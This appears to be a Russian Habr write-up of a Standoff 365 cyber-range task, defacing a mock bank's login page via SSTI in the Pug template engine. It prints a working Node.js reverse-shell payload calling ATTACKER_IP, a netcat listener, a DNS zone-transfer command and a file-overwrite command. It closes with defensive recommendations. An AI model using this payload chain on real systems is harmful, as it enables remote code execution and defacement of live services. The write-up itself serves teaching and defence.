
Привет, Хабр! Будем знакомы — grizzzer, участник различных CTF-команд и независимый исследователь кибербезопасности. В этой статье разберу, как я реализовал критическое событие в банковском сегменте онлайн-полигона Standoff 365 — «Дефейс веб-сервиса ДБО First Partner Bank».
Покажу всю цепочку — от DNS-разведки до эксплуатации уязвимости server-side template injection (SSTI) в шаблонизаторе Pug и финальной подмены текста на главной странице.
⚠️ Статья носит исключительно информационный характер и не является инструкцией или призывом к совершению противоправных действий. Наша цель — рассказать о существующих уязвимостях, тактиках и техниках, которыми могут воспользоваться злоумышленники, и дать рекомендации по защите. Авторы не несут ответственности за использование кем-то информации из статьи.
Задание
Критическое событие: «Дефейс веб-сервиса ДБО First Partner Bank». Сложность — средняя, до 5000 баллов.
Нужно добавить на страницу авторизации ДБО строку «pwned by [Название команды]», которая будет отображаться у всех пользователей.
Домен: fpb.stf. Сегмент: Банковская система.
Разведка: DNS zone transfer
Сперва нужно выяснить, какие хосты есть в домене fpb.stf. DNS-сервер (10.124.1.34) разрешает зонный трансфер):
$ dig axfr fpb.stf @10.124.1.34
bind.fpb.stf. 604800 IN A 10.124.1.34
dbo.fpb.stf. 604800 IN A 10.124.1.3
jump.fpb.stf. 604800 IN A 10.124.1.35
pc.fpb.stf. 604800 IN A 10.124.1.4
Получили четыре хоста. Нас интересует dbo.fpb.stf (10.124.1.3) — это и есть веб-сервис ДБО. Заносим все адреса в директорию /etc/hosts:
$ sudo nano /etc/hosts
10.124.1.34 bind.fpb.stf
10.124.1.3 dbo.fpb.stf
10.124.1.35 jump.fpb.stf
10.124.1.4 pc.fpb.stf
Изучение веб-сервиса
Открываем страницу авторизации банка http://dbo.fpb.stf в браузере. Запускаем Wappalyzer (расширение для определения технологического стека) и видим следующие технологии: React, Express, Node.js. Запоминаем — это пригодится для выбора полезной нагрузки.
Регистрируюсь в системе, исследую функциональность. Нахожу интересный эндпойнт для генерации квитанций (в виде URL-адреса, по которому сервер обрабатывает запросы):
http://dbo.fpb.stf/docs-server/receipt?email=grizzzer@mail.com

Страница отдает готовый HTML с сервера, а не рендерится через React на клиенте. Это значит, что за генерацию отвечает серверный шаблонизатор. Учитывая стек Node.js + Express, с высокой вероятностью это Pug (бывший Jade) — самый популярный шаблонизатор для Express (еще больше предпосылок к этому мы увидим далее).
Фаззинг параметров в Burp Suite
Эндпойнт квитанции принимает параметр email. Но принимает ли он что-то еще? Чтобы это выяснить, фаззим имена параметров страницы (то есть делаем автоматизированный перебор множества вариантов ввода для поиска нестандартного поведения) через Burp Suite Intruder.
Настройка Burp Suite. Перехватываю запрос через Burp Proxy, отправляю в Intruder (ПКМ → Send to Intruder). Во вкладке Positions добавляю второй параметр с маркером для перебора:
GET /docs-server/receipt?email=grizzzer@mail.com&§param§=1 HTTP/1.1
Во вкладке Payloads загружаю словарь, текстовый файл со списком типичных имен параметров (можно взять из SecLists или встроенных списков Burp. Запускаю атаку.

Результат. Подавляющее большинство параметров возвращают одинаковый ответ. Но один выделяется — pretty.

Длина ответа для pretty — 55 009 байт против 1825 у остальных. Это аномалия. Смотрю тело ответа и вижу, что значение параметра pretty попало прямо в сгенерированный HTML/JavaScript.
Почему именно pretty?
В шаблонизаторе Pug есть встроенная опция pretty — она управляет форматированием выходного HTML. Если приложение пробрасывает все query-параметры в опции Pug (через spread-оператор req.query), то pretty интерпретируется шаблонизатором как своя настройка. Наше значение попадает внутрь сгенерированного JS-кода — классическая SSTI (server-side template injection).
SSTI в Pug: от параметра к шеллу
Теперь нужно превратить инъекцию в RCE. Составляю полезную нагрузку для Node.js reverse shell:
v');var net=process.mainModule.require('net'), client=net.connect(1338,'ATTACKER_IP'); process.mainModule.require('repl').start( {prompt:'NODE> ',input:client,output:client} );//
Разбор полезной нагрузки
v') — закрывает строковый литерал и скобку в сгенерированном Pug-коде. Так мы «вырываемся» из контекста строки.
process.mainModule.require('net') — импорт модуля net. Используем process.mainModule.require() вместо просто require(), потому что внутри скомпилированного шаблона require может быть недоступен.
net.connect(1338, '...') — TCP-соединение обратно к нашему компьютеру.
require('repl').start({...}) — запуск интерактивной Node.js REPL-консоли через сокет. Это удобнее обычного Bash-шелла: можно сразу работать с файловой системой через require('fs').
// — комментирует остаток сгенерированного кода, чтобы не ломался синтаксис.
Поднимаю слушатель, URL-кодирую payload (в Burp: выделить текст → Ctrl+U) и отправляю запрос через Burp Repeater.

Получение шелла
В терминале с netcat вижу входящее соединение:
$ nc -nlvp 1338 listening on [any] 1338 ... connect to [10.127.205.210] from (UNKNOWN) [10.124.1.30] 18446 NODE>

Есть шелл! Это не Bash, а Node.js REPL — полноценная JavaScript-среда, из которой можно выполнять любой код с правами веб-сервера.
Поиск файла для дефейса
Нам нужно изменить текст на странице авторизации. Но где он хранится? Подсказка была еще до получения шелла: в DevTools → Network на странице логина видно, что React-приложение загружает файл translation.json.

Теперь через REPL нахожу этот файл на сервере и читаю его содержимое:
NODE> require('fs').readdirSync('/app') [ 'build', 'node_modules', 'package.json', 'public', 'views' ] NODE> require('fs').readdirSync('/app/public/locales') [ 'en', 'ru' ] NODE> require('fs').readdirSync('/app/public/locales/en') [ 'translation.json' ]

Читаю JSON и нахожу нужный ключ — info.welcome-to.

Дефейс (реализация критического события)
Меняю значение ключа welcome-to на строку pwned by VON одной командой в REPL:
NODE> require('fs').writeFileSync( '/app/public/locales/en/translation.json', JSON.stringify( ((d) => (d.info['welcome-to'] = 'pwned by VON', d))( JSON.parse( require('fs').readFileSync( '/app/public/locales/en/translation.json', 'utf8' ) ) ), null, 2 ) );

Команда читает JSON, парсит его, меняет одно поле и записывает обратно. Перезагрузка приложения не требуется — React-клиент подтягивает translation.json при каждой загрузке страницы.
Результат
Открываю http://dbo.fpb.stf/authorization/sign-in/ в режиме инкогнито.

Текст pwned by VON отображается вместо стандартного приветствия. Дефейс виден всем пользователям. Критическое событие реализовано.
Цепочка атаки
DNS AXFR → обнаружение dbo.fpb.stf → фаззинг параметров (Burp Intruder) → обнаружение параметра pretty → SSTI в Pug → Node.js RCE (REPL через модуль net) → модификация файла локализации → дефейс страницы авторизации.
Почему это сработало
Корневая причина — небезопасная передача пользовательского ввода в шаблонизатор. Приложение использовало spread-оператор (req.query) для передачи query-параметров в pug.renderFile(). Из-за этого параметр pretty — встроенная опция Pug — интерпретировался шаблонизатором, а его значение попадало в сгенерированный JavaScript-код без санитизации.
Рекомендации по защите
Не пробрасывать req.query целиком в шаблонизатор. Передавать только конкретные, проверенные поля.
Обновить Pug. В версиях с 3.0.3 и выше уязвимость через pretty пропатчена.
Запретить DNS zone transfer. Настроить allow-transfer в BIND так, чтобы AXFR был доступен только доверенным серверам.
Ограничить исходящие соединения. Файрвол на сервере должен блокировать исходящие TCP-подключения на произвольные порты — это затруднит получение реверс-шелла.
Успехов в реализации «критов», читатель! Если есть вопросы — не стесняйся спрашивать в комментариях.

